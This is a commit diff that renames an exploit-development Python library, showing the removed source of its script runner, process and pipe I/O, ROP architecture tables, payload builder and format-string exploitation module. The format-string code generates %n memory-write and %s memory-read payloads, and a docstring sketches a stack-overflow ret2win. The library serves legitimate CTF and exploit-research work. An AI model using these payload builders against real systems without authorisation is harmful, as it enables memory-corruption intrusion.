summaryrefslogtreecommitdiffstats
path: root/sploit
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2025-01-02 19:17:34 -0500
committerMalfurious <m@lfurio.us>2025-01-04 23:54:51 -0500
commit0f00627964a4b2e515108401fa2cfe94600ad648 (patch)
tree56da2ccaf393a1124220cc187a7225a4efcfbcba /sploit
parent640726aa11369d328c1cdfe00b4344b6a925729c (diff)
downloadnsploit-0f00627964a4b2e515108401fa2cfe94600ad648.tar.gz
nsploit-0f00627964a4b2e515108401fa2cfe94600ad648.zip
Rename sploit package to nsploit
Rename all affected files, references to file paths, and module imports within the code. Since this line of development represents a fork from the original sploit, a name change is seen as necessary to distinguish the projects, as well as allow them to be installed side by side. What does the "n" mean? Great question! You can think of it as meaning "new sploit" if you want, though that's not quite intended. The name is simply distinct and easy to pronounce. I had originally settled on "msploit" (something along the lines of "Malf's sploit"), but this name is too close to "metasploit" for me - and N is right next to it on the keyboard. Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'sploit')
-rw-r--r--sploit/__init__.py6
-rw-r--r--sploit/__main__.py77
-rw-r--r--sploit/arch.py153
-rw-r--r--sploit/comm/__init__.py1
-rw-r--r--sploit/comm/comm.py205
-rw-r--r--sploit/payload/__init__.py6
-rw-r--r--sploit/payload/fmtstring.py178
-rw-r--r--sploit/payload/gadhint.py98
-rw-r--r--sploit/payload/payload.py224
-rw-r--r--sploit/payload/payload_entry.py113
-rw-r--r--sploit/payload/ret2dlresolve.py226
-rw-r--r--sploit/payload/rop.py364
-rw-r--r--sploit/rev/__init__.py4
-rw-r--r--sploit/rev/elf.py204
-rw-r--r--sploit/rev/gadget.py25
-rw-r--r--sploit/rev/ldd.py13
-rw-r--r--sploit/rev/r2.py139
-rw-r--r--sploit/symtbl.py160
-rw-r--r--sploit/types/__init__.py3
-rw-r--r--sploit/types/index_entry.py44
-rw-r--r--sploit/types/indextbl.py103
-rw-r--r--sploit/types/lict.py202
-rw-r--r--sploit/until.py14
-rw-r--r--sploit/util/__init__.py2
-rw-r--r--sploit/util/cmd.py26
-rw-r--r--sploit/util/log.py32
26 files changed, 0 insertions, 2622 deletions
diff --git a/sploit/__init__.py b/sploit/__init__.py
deleted file mode 100644
index dc5943f..0000000
--- a/sploit/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-from sploit.arch import *
-from sploit.symtbl import *
-from sploit.until import *
-
-from sploit.util import git_version as __git_version
-__version__ = __git_version()
diff --git a/sploit/__main__.py b/sploit/__main__.py
deleted file mode 100644
index 5d53ca6..0000000
--- a/sploit/__main__.py
+++ /dev/null
@@ -1,77 +0,0 @@
-from argparse import ArgumentParser, REMAINDER
-import gc
-from os.path import isdir
-import tempfile
-import traceback
-
-from sploit.comm.comm import *
-from sploit.util.log import *
-from sploit import __version__
-
-def print_banner(color, line1=__version__, line2='', line3=''):
- ilog()
- ilog(' ░▒█▀▀▀█░▒█▀▀█░▒█░░░░▒█▀▀▀█░▀█▀░▀▀█▀▀ ', end='', color=ALT)
- ilog(line1, color=ALT)
- ilog(' ░░▀▀▀▄▄░▒█▄▄█░▒█░░░░▒█░░▒█░▒█░░░▒█░░ ', end='', color=color)
- ilog(line2, color=ALT)
- ilog(' ░▒█▄▄▄█░▒█░░░░▒█▄▄█░▒█▄▄▄█░▄█▄░░▒█░░ ', end='', color=ALT)
- ilog(line3, color=ALT)
- ilog()
-
-def main():
- parser = ArgumentParser(description='Execute Sploit script against target')
- parser.add_argument('script', help='Exploit script to run')
- parser.add_argument('target', nargs=REMAINDER, help='Target cmdline or pipes directory')
- args = parser.parse_args()
-
- if len(args.target) == 0:
- with tempfile.TemporaryDirectory() as tmpdir:
- pipe(args.script, tmpdir)
- elif len(args.target) == 1 and isdir(args.target[0]):
- pipe(args.script, args.target[0])
- else:
- target(args.script, args.target)
-
-def pipe(script, tmpdir):
- print_banner(ERROR, line3='Pipe Mode')
- while True:
- try:
- p = Pipes(tmpdir)
- except KeyboardInterrupt:
- break
- runscript(script, Comm(p))
- del p
-
-def target(script, target):
- print_banner(STATUS, line3='Subprocess Mode')
- runscript(script, Comm(Process(target)))
-
-def user_scope(comm):
- import sploit as lib
- scope = { name: getattr(lib, name) for name in dir(lib) }
- scope['__version__'] = __version__
- scope['print'] = elog
- scope['io'] = comm
- return scope
-
-def runscript(script, comm):
- try:
- ilog("Running Script...")
- code = compile(open(script).read(), script, 'exec')
- exec(code, user_scope(comm))
- ilog("Script Finished!")
- return
- except KeyboardInterrupt:
- pass
- except:
- ilog(traceback.format_exc(), end='', color=ERROR)
- finally:
- comm.shutdown()
- comm.readall()
- gc.collect()
-
- ilog("Script Ended Early!", color=WARNING)
-
-
-if __name__ == "__main__":
- main()
diff --git a/sploit/arch.py b/sploit/arch.py
deleted file mode 100644
index a9dea61..0000000
--- a/sploit/arch.py
+++ /dev/null
@@ -1,153 +0,0 @@
-"""
-Architecture-aware utilities and global architecture config
-
-It is common within sploit and for users of sploit to need different behavior
-depending on the architecture of the target. This module encapsulates those
-behaviors and bases them on a global architecture that is also configured here.
-
-Users can set the global arch with arch.set() and all of the methods in this
-module will honor it. An architecture can be defined through the Arch dataclass
-and there are also several predefined architecture constants that can be used.
-These are accessible by name at module scope. (i.e. sploit.arch.x86_64)
-
-arch (Arch): the architecture config that sploit will use whenever it needs to
-know the architecture of the target
-
-DEFAULT_ARCH (Arch): the default architecture that arch is set to
-"""
-
-from dataclasses import dataclass
-
-def __define_architectures():
- # All predefined architectures should be listed here
- # These will also be added to the module's namespace
- __arch_list = {
- 'x86' : Arch('x86', 4, 'little', 16, 'ret', 'int 0x80', b'\x90', ['pop {}','ret'], [r'add esp, (\w+)','ret'], [r'mov dword \[(?P<dst>\w+)\], (?P<src>\w+)','ret'], [], ['eax','ebx','ecx','edx','esi','edi','ebp']),
- 'x86_64' : Arch('x86', 8, 'little', 16, 'ret', 'syscall', b'\x90', ['pop {}','ret'], [r'add rsp, (\w+)','ret'], [r'mov qword \[(?P<dst>\w+)\], (?P<src>\w+)','ret'], ['rdi','rsi','rdx','rcx','r8','r9'], ['rax','rdi','rsi','rdx','r10','r8','r9']),
- 'ARM' : Arch('arm', 4, 'little', 8, 'pop {pc}', 'svc 0', b'\xe1\xa0\x00\x00', ['pop {{{}, pc}}'], [r'add sp, sp, ([^r]\w*)','pop {pc}'], [r'str (?P<src>\w+), \[(?P<dst>\w+)\]','pop {pc}'], ['r0','r1','r2','r3'], ['r7','r0','r1','r2','r3','r4','r5']),
- 'THUMB' : Arch('arm', 4, 'little', 8, 'pop {pc}', 'svc 0', b'\x46\xc0', ['pop {{{}, pc}}'], [r'add sp, sp, ([^r]\w*)','pop {pc}'], [r'str (?P<src>\w+), \[(?P<dst>\w+)\]','pop {pc}'], ['r0','r1','r2','r3'], ['r7','r0','r1','r2','r3','r4','r5']),
- }
- globals().update(__arch_list)
- global __arch_lookup
- __arch_lookup = {(a.arch_string, a.wordsize, a.endianness) : a for a in reversed(__arch_list.values())}
-
-@dataclass(frozen=True)
-class Arch:
- """
- Dataclass of information about a target architecture
-
- arch_string (str): string returned by r2 iI in the arch field
- wordsize (int): the width, in bytes, of the natural unit of data
- endianness (str): byte order. either "little" or "big"
- alignment (int): the multiple, in bytes, that return addresses must exist
- on the stack
- ret (str): mnemonic for a "return" instruction
- syscall (str): mnemonic for a "syscall" or "service call" instruction
- nopcode (bytes): the exact bytes of a "do nothing" instruction
- popgad (list[str]): ROP gadget template used to pop a value into a register
- cleangad (list[str]): ROP gadget template used to remove values from the
- stack
- writegad (list[str]): ROP gadget template used to write data to memory
- funcargs (list[str]): function argument registers used by the architecture
- calling convention
- kernargs (list[str]): kernel syscall argument registers
- """
-
- arch_string: str
- wordsize: int
- endianness: str
- alignment: int
- ret: str
- syscall: str
- nopcode: bytes
- popgad: list
- cleangad: list
- writegad: list
- funcargs: list
- kernargs: list
-
- def set(self,new_arch):
- """Copy the given Arch into this instance."""
- if type(new_arch) is not Arch:
- raise TypeError(f'arch: new_arch must be an Arch: {new_arch}')
- self.__dict__.update(new_arch.__dict__)
-__define_architectures()
-
-DEFAULT_ARCH = x86_64
-arch = Arch(**DEFAULT_ARCH.__dict__)
-
-def lookup_arch(arch_string, wordsize, endianness):
- """
- Return an Arch object with the matching search parameters.
-
- If a predefined Arch matches the specified fields, it will be returned.
- Otherwise, None is returned.
-
- arch_string (str): The "arch" string returned from r2 iI.
- wordsize (int): The natural width of an int in bytes.
- endianness (str): The order of bytes in an int (either "little" or "big")
- """
- return __arch_lookup.get((arch_string, wordsize, endianness))
-
-def sint(i):
- """Convert given int to signed int of arch.wordsize width."""
- return __int(i, True)
-
-def uint(i):
- """Convert given int to unsigned int of arch.wordsize width."""
- return __int(i, False)
-
-def int8(i):
- """Convert given int to signed 8 bit int."""
- return __int(i, True, 1)
-
-def int16(i):
- """Convert given int to signed 16 bit int."""
- return __int(i, True, 2)
-
-def int32(i):
- """Convert given int to signed 32 bit int."""
- return __int(i, True, 4)
-
-def int64(i):
- """Convert given int to signed 64 bit int."""
- return __int(i, True, 8)
-
-def uint8(i):
- """Convert given int to unsigned 8 bit int."""
- return __int(i, False, 1)
-
-def uint16(i):
- """Convert given int to unsigned 16 bit int."""
- return __int(i, False, 2)
-
-def uint32(i):
- """Convert given int to unsigned 32 bit int."""
- return __int(i, False, 4)
-
-def uint64(i):
- """Convert given int to unsigned 64 bit int."""
- return __int(i, False, 8)
-
-def btoi(b, byteorder=None):
- """Convert given byte array to an int."""
- byteorder = byteorder or arch.endianness
- return int.from_bytes(b, byteorder, signed=False)
-
-def itob(i, width=None, byteorder=None):
- """Convert given int to a byte array."""
- width = width or arch.wordsize
- byteorder = byteorder or arch.endianness
- return __int(i,False,width).to_bytes(width, byteorder, signed=False)
-
-def __int(i, signed=False, width=None):
- # type conversion from int to int of given sign and width
- i = int(i)
- width = width or arch.wordsize
- bits = 8 * width
- if signed:
- sign_bit = 1 << (bits - 1)
- return (i & (sign_bit - 1)) - (i & sign_bit)
- else:
- mask = (1 << bits) - 1
- return i & mask
diff --git a/sploit/comm/__init__.py b/sploit/comm/__init__.py
deleted file mode 100644
index ffbc402..0000000
--- a/sploit/comm/__init__.py
+++ /dev/null
@@ -1 +0,0 @@
-from .comm import *
diff --git a/sploit/comm/comm.py b/sploit/comm/comm.py
deleted file mode 100644
index 3bc448e..0000000
--- a/sploit/comm/comm.py
+++ /dev/null
@@ -1,205 +0,0 @@
-import subprocess
-import tempfile
-import os
-import sys
-import select
-
-from sploit.until import bind
-from sploit.util.log import *
-
-class Comm:
- logonread = True
- logonwrite = False
- flushonwrite = True
- readonwrite = False
- timeout = 250 # milliseconds
- last = None # result of last discrete read
-
- def __init__(self, backend):
- self.back = backend
-
- def shutdown(self):
- try:
- self.back.stdout.close()
- except BrokenPipeError:
- pass
-
- def read(self, size=-1):
- if size < 0:
- return self.readall_nonblock()
- elif size == 0:
- data = b''
- else:
- data = self.back.stdin.read(size)
- if(data == b''):
- raise BrokenPipeError('Tried to read on broken pipe')
- if self.logonread : ilog(data, file=sys.stdout, color=NORMAL)
- self.last = data
- return data
-
- def readline(self):
- data = self.back.stdin.readline()
- if(data == b''):
- raise BrokenPipeError('Tried to read on broken pipe')
- if data.endswith(b'\n'):
- data = data[:-1]
- if self.logonread : ilog(data, file=sys.stdout, color=NORMAL)
- self.last = data
- return data
-
- def readall(self):
- data = b''
- try:
- for line in self.back.stdin:
- tolog = (line[:-1] if line.endswith(b'\n') else line)
- if self.logonread : ilog(tolog, file=sys.stdout, color=NORMAL)
- data += line
- except KeyboardInterrupt:
- pass
- self.last = data
- return data
-
- def readall_nonblock(self):
- try:
- data = b''
- os.set_blocking(self.back.stdin.fileno(), False)
- poll = select.poll()
- poll.register(self.back.stdin, select.POLLIN)
- while True:
- poll.poll(self.timeout)
- d = self.readall()
- if len(d) == 0:
- self.last = data
- return data
- data += d
- finally:
- os.set_blocking(self.back.stdin.fileno(), True)
-
- def readuntil(self, pred, /, *args, **kwargs):
- data = b''
- pred = bind(pred, *args, **kwargs)
- l = self.logonread
- self.logonread = False
- try:
- while(True):
- data += self.read(1)
- if(pred(data)):
- break
- finally:
- self.logonread = l
- if self.logonread : ilog(data, file=sys.stdout, color=NORMAL)
- self.last = data
- return data
-
- def readlineuntil(self, pred, /, *args, **kwargs):
- dataarr = []
- pred = bind(pred, *args, **kwargs)
- while(True):
- dataarr.append(self.readline())
- if(pred(dataarr)):
- break
- self.last = dataarr
- return dataarr
-
- def write(self, data):
- self.back.stdout.write(data)
- if self.flushonwrite : self.back.stdout.flush()
- if self.logonwrite : ilog(data, file=sys.stdout, color=ALT)
- if self.readonwrite : self.readall_nonblock()
-
- def writeline(self, data=b''):
- self.write(data + b'\n')
-
- def interact(self):
- stdin = sys.stdin.buffer
- event = select.POLLIN
-
- def readall_stdin():
- try:
- os.set_blocking(stdin.fileno(), False)
- for line in stdin:
- self.write(line)
- finally:
- os.set_blocking(stdin.fileno(), True)
-
- readtable = {
- self.back.stdin.fileno(): self.readall_nonblock,
- stdin.fileno(): readall_stdin,
- }
-
- try:
- ilog("<--Interact Mode-->")
- l = self.logonread
- self.logonread = True
-
- poll = select.poll()
- poll.register(self.back.stdin, event)
- poll.register(stdin, event)
-
- readtable[self.back.stdin.fileno()]()
- while True:
- for fd, e in poll.poll(self.timeout):
- if not e & event: return
- readtable[fd]()
- except KeyboardInterrupt:
- pass
- finally:
- self.logonread = l
- ilog("<--Interact Mode Done-->")
-
-def popen(cmdline=''):
- io = Comm((Process(cmdline.split()) if len(cmdline) > 0 else Pipes()))
- io.readall_nonblock()
- io.readonwrite = True
- return io
-
-class Process:
- def __init__(self, args):
- ilog(f"Running: {' '.join(args)}")
- self.proc = subprocess.Popen(args,
- stdin=subprocess.PIPE,
- stdout=subprocess.PIPE,
- stderr=subprocess.STDOUT,
- preexec_fn=lambda : os.setpgrp())
- ilog(f"PID: {self.proc.pid}")
- self.stdin = self.proc.stdout
- self.stdout = self.proc.stdin
-
- def __del__(self):
- if getattr(self, 'proc', None) == None : return
- if(self.proc.poll() != None):
- return
- try:
- ilog("Waiting on Target Program to End...")
- ilog("Press Ctrl+C to Forcefully Kill It...")
- self.proc.wait()
- except KeyboardInterrupt:
- self.proc.kill()
-
-class Pipes:
- def __init__(self, tmp=None):
- if(tmp == None):
- self.dir = tempfile.TemporaryDirectory()
- dirname = self.dir.name
- else:
- if(not os.path.exists(tmp)):
- os.mkdir(tmp)
- dirname = tmp
- self.pathin = os.path.join(dirname, "in")
- self.pathout = os.path.join(dirname, "out")
- os.mkfifo(self.pathin)
- os.mkfifo(self.pathout)
- ilog("Waiting on Target to Connect...", file=sys.stdout)
- ilog(f"<{self.pathin} >{self.pathout}", file=sys.stdout)
- self.stdout = open(self.pathin, "wb")
- self.stdin = open(self.pathout, "rb")
- ilog("Connected!")
-
- def __del__(self):
- try:
- if getattr(self,'stdout',None) : self.stdout.close()
- if getattr(self,'stdin',None) : self.stdin.close()
- except BrokenPipeError:
- pass
- if getattr(self,'pathin',None) and os.path.exists(self.pathin) : os.unlink(self.pathin)
- if getattr(self,'pathout',None) and os.path.exists(self.pathout) : os.unlink(self.pathout)
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py
deleted file mode 100644
index da47cc1..0000000
--- a/sploit/payload/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-from .fmtstring import *
-from .gadhint import *
-from .payload import *
-from .payload_entry import *
-from .ret2dlresolve import *
-from .rop import *
diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py
deleted file mode 100644
index 54da6f2..0000000
--- a/sploit/payload/fmtstring.py
+++ /dev/null
@@ -1,178 +0,0 @@
-"""
-Exploit C-style format string vulnerabilities
-
-These techniques leverage functions such as printf, fprintf, sprintf, etc. when
-run on unchecked user input to perform arbitrary memory read or write. This is
-made possible by the unintended use of user input as the function's format
-string argument, instead of an ordinary data argument. Attackers may inject
-their own conversion specifiers, which act as operating instructions to the
-function. Interesting formatters include:
-
- %p Read argument value. These are the values of function argument
- registers and values from the stack. The value is printed as
- hexadecimal (with leading "0x") and interprets values as unsigned
- long (aka, same size as arch.wordsize).
-
- %s Read memory as asciiz string. Prints the data pointed to by
- argument value.
-
- %c Read argument as 8-bit character, printing the interpreted character
- value. This formatter is useful in combination with a field width
- specifier in order to print a controlled number of bytes to the
- output, which is meaningful to the next formatter.
-
- %n Write memory as integer. Prints no output, but writes the number of
- characters printed so far to the location pointed to by the argument
- pointer. A length modifier will control the bit-width of the
- integer written.
-
-See `man 3 printf` for more details.
-"""
-
-from sploit.arch import arch, btoi, itob
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padrel
-
-_FMTSTR_MAGIC = b"\xcd"
-
-def _make_fmtstr_payload():
- # A typical layout will look like this:
- # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
- # ^ ^ ^ ^ ^ ^
- # fmt[0] fmt[1] nul | addrs[0] addrs[1]
- # align
- #
- # Many examples found online will demo placing addresses at the front. Eg:
- # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
- # This has the benefit that %n positional values are simple to calculate
- # (they just start at the payload position and increase by one). However,
- # any NULL bytes in the addresses break the exploit, since printf will stop
- # processing its string once a NULL is encountered.
- #
- # Moving addresses to the end mitigates this. Wordsize alignment is then
- # necessary to give for valid argument positions. We also intentionally
- # NULL terminate the format string portion of the payload to prevent printf
- # from processing beyond formatters.
- fp = Payload()
- fp.fmt = Payload()
- fp.null = b"\x00"
- fp.align = padalign(arch.wordsize)
- fp.addrs = Payload()
- return fp
-
-def _fixup_positionals(fp, position, offset=None):
- if offset is None:
- offset = fp.addrs.base // arch.wordsize
-
- fixup = _make_fmtstr_payload()
- fixup.addrs = fp.addrs
-
- for i, fmt in enumerate(fp.fmt):
- pos = position + offset + i
- fixup.fmt(fmt.decode().format(pos).encode())
-
- # String formatting positional values may grow the format string so much
- # as to cause the addrs offset to shift. Detect this and correct.
- check = fixup.addrs.base // arch.wordsize
- if offset != check:
- return _fixup_positionals(fp, position, check)
-
- return fixup
-
-def fmtstr_dump(start=None, end=None):
- """
- Return a format string payload which dumps annotated argument values.
-
- start (int): Starting argument position (default: 1)
- end (int): Ending argument position (default: start + 20)
- """
- if start is None: start = 1
- if end is None: end = start + 19 # inclusive, so 20 total arguments
-
- fp = Payload()
- fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
- fp.fmt = Payload()
- fp.null = b"\x00"
-
- for pos in range(start, end+1):
- if pos < len(arch.funcargs):
- label = arch.funcargs[pos]
- else:
- offset = (pos - len(arch.funcargs)) * arch.wordsize
- label = f"stack+{hex(offset)}"
-
- fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
-
- return fp
-
-def fmtstr_get(*positions, join=" "):
- """
- Return a format string payload which prints specific argument values.
-
- positions (*int): Argument positions
- join (str): Delimiter string
- """
- fp = Payload()
- fp.fmt = Payload()
- fp.null = join
-
- for p in positions:
- fp.fmt(f"{join}%{p}$p".encode())
-
- return fp
-
-def fmtstr_read(position, address):
- """
- Return a format string payload which reads data (as string, via %s).
-
- position (int): printf positional offset of payload on stack.
- address (int): Address of data to read.
- """
- fp = _make_fmtstr_payload()
- fp.fmt(b"%{}$s")
- fp.addrs(address)
- return _fixup_positionals(fp, position)
-
-def fmtstr_write(position, _data, _value=None):
- """
- Return a format string payload which writes data.
-
- One option for calling this function is to give a write destination in _data
- as an integer, and the value to write in _value.
-
- Alternatively, _data may contain a dictionary, with write destinations as
- keys and contents to write as values. _value is ignored in this case.
-
- In either case, the contents to write is generally expected to be bytes.
- However, integers are converted automatically via itob().
-
- position (int): printf positional offset of payload on stack.
- _data (int|dict{int:bytes}): Write data (see above)
- _value (int|bytes): Write value (see above)
- """
- # Convert from 2-argument style to dictionary.
- if type(_data) is int:
- _data = { _data: _value }
-
- pairs = {}
-
- # Collect each 2-byte word to write.
- for addr, value in _data.items():
- value = itob(value) if type(value) is int else bytes(value)
- words = [ value[i:i+2] for i in range(0, len(value), 2) ]
- words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
- pairs.update(words)
-
- fp = _make_fmtstr_payload()
- prev = 0
-
- # Craft writes.
- for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
- diff = word - prev
- prev = word
-
- size = "" if diff == 0 else f"%{diff}c"
- fp.fmt(f"{size}%{{}}$hn".encode())
- fp.addrs(addr)
-
- return _fixup_positionals(fp, position)
diff --git a/sploit/payload/gadhint.py b/sploit/payload/gadhint.py
deleted file mode 100644
index 1bef9f0..0000000
--- a/sploit/payload/gadhint.py
+++ /dev/null
@@ -1,98 +0,0 @@
-import copy
-from dataclasses import dataclass, field
-
-from sploit.rev.gadget import Gadget
-from sploit.types.index_entry import IndexEntry
-
-@dataclass
-class GadHint(IndexEntry):
- """
- User-annotated gadget description object
-
- base (Gadget|int): The gadget being annotated. May be a Gadget object or
- an offset as an int.
-
- pops (list[str]): The registers popped by this gadget, in order of
- occurrence.
-
- movs (dict{str:str}): The register-to-register moves made by this gadget.
- Keys are destination register names, values are source register names. The
- order given is insignificant.
-
- imms (dict{str:int}): The immediate-to-register loads made by this gadget.
- Keys are destination register names, values are immediate values. The order
- given is insignificant.
-
- writes (dict{str:str}): The register-to-memory stores made by this gadget.
- Keys are the destination register names (which hold memory addresses),
- values are source register names (which hold values to-be-stored). The
- order given is insignificant.
-
- requirements (dict{str:int}): The register state that is required before
- this gadget should be executed. Keys are register names, values are the
- required register values.
-
- stack (list[int]): A list of words to append to the stack following this
- gadget. The first element given is nearest to the top of the stack and the
- rest follow in order.
-
- align (bool): If True, this gadget expects the stack to be aligned prior
- to entry.
-
- syscall (bool): If True, this gadget contains a syscall instruction.
-
- spm (int): "Stack pointer move" - The amount the stack pointer is adjusted
- by this gadget. The effect of executing a terminating "return" instruction
- should not be accounted for. A value of zero is taken as "unspecified".
- """
-
- base: int = 0
- pops: list = field(default_factory=list)
- movs: dict = field(default_factory=dict)
- imms: dict = field(default_factory=dict)
- writes: dict = field(default_factory=dict)
- requirements: dict = field(default_factory=dict)
- stack: list = field(default_factory=list)
- align: bool = False
- syscall: bool = False
- spm: int = 0
-
- @property
- def offset(self):
- """Return gadget offset as an integer."""
- return int(self.base)
-
- def with_requirements(self, reqs):
- """Return new object with additional requirements."""
- for k, v in reqs.items():
- if self.requirements.get(k, v) != v:
- raise ValueError(
- f"GadHint: Conflicting gadget requirements: "
- f"{self.requirements}, {reqs}")
-
- new = copy.deepcopy(self)
- new.requirements |= reqs
- return new
-
- def __repr__(self):
- """Return human-readable GadHint."""
- def fmt(name, prop):
- if len(prop) > 0:
- return f", {name}={prop}"
- return ""
-
- s = hex(self.base)
- s = f"Gadget({s})" if isinstance(self.base, Gadget) else s
- s += fmt("pops", self.pops)
- s += fmt("movs", self.movs)
- s += fmt("imms", self.imms)
- s += fmt("writes", self.writes)
- s += fmt("requirements", self.requirements)
- s += fmt("stack", self.stack)
- if self.align:
- s += ", align"
- if self.syscall:
- s += ", syscall"
- if self.spm > 0:
- s += f", spm={self.spm}"
- return f"GadHint({s})"
diff --git a/sploit/payload/payload.py b/sploit/payload/payload.py
deleted file mode 100644
index 2a9521f..0000000
--- a/sploit/payload/payload.py
+++ /dev/null
@@ -1,224 +0,0 @@
-from sploit.arch import itob
-from sploit.payload.payload_entry import PayloadEntry
-from sploit.types.indextbl import IndexTbl
-from sploit.types.index_entry import IndexEntry
-from sploit.types.lict import Lict
-
-_REPR_DATA_LEN = 64
-
-class Payload(IndexTbl):
- """
- Binary payload builder
-
- This class provides an API for fluently specifying structured payloads from
- an assortment of input data. Payload "indices" are any bytes-like data,
- which includes some supported IndexEntry types as well as nested Payloads.
-
- Payload is an IndexTbl based on a Lict and features two main use-cases or
- syntaxes for interacting with data.
-
- The first method (the formal method) is through the use of normal index
- access via attributes or subscripts. In this case, element keys are usually
- given. When a new index is defined, it is inserted at the end of the
- payload. Modifications to existing indices change the data in-place, and
- this causes the content of the payload to shift around if the replaced data
- is of a different length.
-
- The second method (the quick method) is through the use of Payload's __call__
- method. This is a general purpose "quick action" method that, among other
- things, will insert data to the payload. If the Payload object is called
- with 1 or more arguments, the values of these arguments are appended to the
- payload in the order given. There is no way to specify keys using this
- option, so the data simply occupies unkeyed elements in the underlying Lict.
-
- In either case, the data inserted must be bytes-like. In some common cases,
- the data will be coerced into bytes. See the method __prep_insertion for
- details on how this is handled. See the PayloadEntry module for some
- additional features.
-
- When retrieving indices from the payload, instead of the element's value,
- either the element offset or (for IndexEntries) the value based at that
- offset is returned to you. If the payload has a non-zero base, this is
- interpreted as the element's address in memory. This is useful for any
- exploit that requires pointers to other crafted data.
-
- The binary output of a payload is simply the binary output of each of its
- elements, concatenated together - there are no gaps. If you need to space
- or separate two elements, you need to insert padding bytes between them.
- The element binary content is either the object itself (for bytes elements),
- the output from `payload_bytes()` (for PayloadEntries), or the output from
- `bytes(obj)` for everything else.
-
- The following is a simple example using the Payload module to perform a
- hypothetical stack buffer overrun "ret2win" with both of the build syntaxes:
-
- # 100 bytes from the start of the buffer to the saved frame pointer
- # call (return into) the function "pwned", given by an ELF Symtbl
- # 3 arguments, which are given on the stack
-
- # formal method
- p = Payload()
- p.smash = padlen(100)
- p.fp = placeholder()
- p.ret = elf.sym.pwned
- p.ret2 = placeholder()
- p.arg1 = 0
- p.arg2 = 1
- p.arg3 = 2
- io.write(bytes(p))
-
- # quick method
- p = Payload()(padlen(100), placeholder())
- p(elf.sym.pwned, placeholder(), 0, 1, 2)
- io.write(p())
- """
-
- def __init__(self, base=0, entries=None):
- """Construct new Payload with optional base and content."""
- super().__init__(base)
- if not isinstance(entries, Lict):
- entries = Lict(entries)
- object.__setattr__(self, "__entries__", entries)
-
- def __repr__(self):
- """Return human-readable Payload."""
- FMT = "\n{:<20} {:<20} {:<20}"
- s = f"{len(self.__entries__)} items, {len(self)} bytes @ {hex(self)}"
- memo = {}
-
- if len(self.__entries__) > 0:
- s += FMT.format("ADDRESS", "SYMBOL", "DATA")
-
- for i, value in enumerate(self.__entries__):
- key = self.__entries__.idx2key(i)
- key = "(unkeyed)" if key is None else str(key)
- key = f"[{key}]" if isinstance(value, IndexEntry) else key
-
- addr = self.__addrof(i, memo)
- data = str(self.__bytesof(i, memo))
- if len(data) > _REPR_DATA_LEN:
- data = data[:_REPR_DATA_LEN] + " ..."
-
- s += FMT.format(hex(addr), key, data)
-
- return s
-
- def __bytes__(self):
- """Return calculated payload bytes."""
- memo = {}
- x = [ self.__bytesof(i, memo) for i in range(len(self.__entries__)) ]
- return b"".join(x)
-
- def __call__(self, *args):
- """
- Payload quick-action call operator.
-
- If called with arguments, append these values to the payload in the
- order given. The payload (self) is returned for easily chaining calls.
-
- If called without arguments, return the rendered payload content as if
- `bytes(payload)` was called.
- """
- if len(args) == 0:
- return bytes(self)
-
- for value in args:
- value = self.__prep_insertion(value, self.end())
- self.__entries__.append(value)
-
- return self
-
- def end(self):
- """Return the offset or address of the end of the payload."""
- return self.base + len(self)
-
- # IndexTbl abstract methods
-
- def __copy__(self):
- """Return copy of object with shared data entries."""
- return Payload(self.base, self.__entries__)
-
- def __iter__(self):
- """Iterate over data entries."""
- return iter(self.__entries__)
-
- def __len__(self):
- """Return the size of the payload content in bytes."""
- memo = {}
- x = [ self.__lenof(i, memo) for i in range(len(self.__entries__)) ]
- return sum(x)
-
- def __getindex__(self, index):
- """Return payload index value or address."""
- value, _ = self.__valueof(index, {})
- return value
-
- def __setindex__(self, index, value):
- """Set payload index value."""
- try:
- addr = self.__addrof(index, {})
- except KeyError:
- addr = self.end()
- value = self.__prep_insertion(value, addr)
- self.__entries__[index] = value
-
- def __delindex__(self, index):
- """Delete payload index."""
- del self.__entries__[index]
-
- # Payload helpers
-
- def __valueof(self, index, memo):
- """Return a tuple (addr of value, literal value) for index."""
- value = self.__entries__[index]
- addr = self.__addrof(index, memo)
- if isinstance(value, IndexEntry):
- value @= addr
- return value, value
- return addr, value
-
- def __addrof(self, index, memo):
- """Return address (base + offset) for index."""
- index = self.__entries__.key2idx(index)
- try:
- return memo[index]
- except KeyError:
- sizes = [ self.__lenof(i, memo) for i in range(index) ]
- addr = self.base + sum(sizes)
- memo[index] = addr
- return addr
-
- def __lenof(self, index, memo):
- """Return element length for index."""
- _, value = self.__valueof(index, memo)
- if isinstance(value, PayloadEntry):
- return value.payload_len(self)
- return len(value)
-
- def __bytesof(self, index, memo):
- """Return byte output for index."""
- _, value = self.__valueof(index, memo)
- if isinstance(value, PayloadEntry):
- return value.payload_bytes(self)
- return bytes(value)
-
- def __prep_insertion(self, value, addr):
- """Initialize or type coerce input value for payload insert."""
- if isinstance(value, PayloadEntry):
- value @= addr
- value.payload_insert(self)
- return value
-
- if type(value) is str:
- value = value.encode() + b"\x00"
- elif type(value) is int:
- value = itob(value)
-
- try:
- # Confirm value supports our required operations
- len(value)
- bytes(value)
- except TypeError as ex:
- raise TypeError(f"Payload: Bad type {type(value)} given") from ex
-
- return value
diff --git a/sploit/payload/payload_entry.py b/sploit/payload/payload_entry.py
deleted file mode 100644
index 2f8dbdd..0000000
--- a/sploit/payload/payload_entry.py
+++ /dev/null
@@ -1,113 +0,0 @@
-from sploit.arch import arch, itob
-from sploit.types.index_entry import IndexEntry
-
-_PLACEHOLDER_MAGIC = b"\xef"
-
-class PayloadEntry(IndexEntry):
- """Base class for dynamic Payload entries"""
-
- def __repr__(self):
- """Return human-readable entry description."""
- return f"{self.__class__.__name__}{self.__dict__}"
-
- def payload_insert(self, payload):
- """
- Called on insert into a payload object.
-
- Override this method to perform any initialization which requires a
